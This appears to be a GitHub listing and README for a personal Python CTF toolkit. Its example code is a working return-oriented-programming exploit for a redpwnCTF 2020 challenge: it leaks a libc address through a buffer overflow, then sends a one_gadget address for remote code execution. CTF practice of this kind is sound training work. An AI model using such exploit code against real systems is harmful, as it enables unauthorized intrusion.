https://github.com/d2verb/cool
CTF tools fo me
https://github.com/d2verb/cool
Last synced: 6 months ago
JSON representation
CTF tools fo me
- Host: GitHub
- URL: https://github.com/d2verb/cool
- Owner: d2verb
- License: mit
- Created: 2020-06-27T15:36:06.000Z (almost 6 years ago)
- Default Branch: master
- Last Pushed: 2022-10-30T09:56:39.000Z (over 3 years ago)
- Last Synced: 2025-01-31T06:11:17.313Z (over 1 year ago)
- Language: Python
- Homepage:
- Size: 89.8 KB
- Stars: 3
- Watchers: 1
- Forks: 0
- Open Issues: 1
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# cool - CTF toolkit for me
[](https://github.com/d2verb/cool/actions)
[](https://github.com/d2verb/cool/blob/master/LICENSE)
## Prerequisite
`cool` uses `gmpy2`, so you must install some dependencies for it. In Linux case, just run following commands.
```shell
$ sudo apt-get update
$ sudo apt-get install -y libgmp-dev libmpfr-dev libmpc-dev libgmp3-dev
```
## How to install
We don't provide any convenient way to install now. You can install `cool` by downloading the artifact of GitHub Actions (named as `dist`) and using the wheel file in it.
```shell
$ unzip dist.zip
$ pip install ./dist/cool-0.1.0-py3-none-any.whl
```
## Example
This is an example solver to solve the pwn challenge (the-library) in redpwnCTF 2020.
```python
from cool.pwn import elf, remote
from cool.util import p64, u64
e = elf("./tmp/the-library")
l = elf("./tmp/libc.so.6")
p = remote("2020.redpwnc.tf", 31350)
pop_rdi = 0x00400733
one_gadget_offset = 0x10A38C
pld = b"A" * 0x18
pld += p64(pop_rdi)
pld += p64(e.got["read"])
pld += p64(e.plt["puts"])
pld += p64(e.symbols["main"])
# libc base leak
p.sendafter(b"name?\n", pld)
p.recvuntil(b"Hello there: ")
libc_base = u64(p.recv()[29 : 29 + 6] + b"\x00\x00") - l.symbols["read"]
print(f"[*] libc base: 0x{libc_base:x}")
# execute main again & send one_gadget RCE address
one_gadget = one_gadget_offset + libc_base
pld = b"A" * 0x18
pld += p64(one_gadget)
p.sendline(pld)
p.interact()
```
## License
MIT License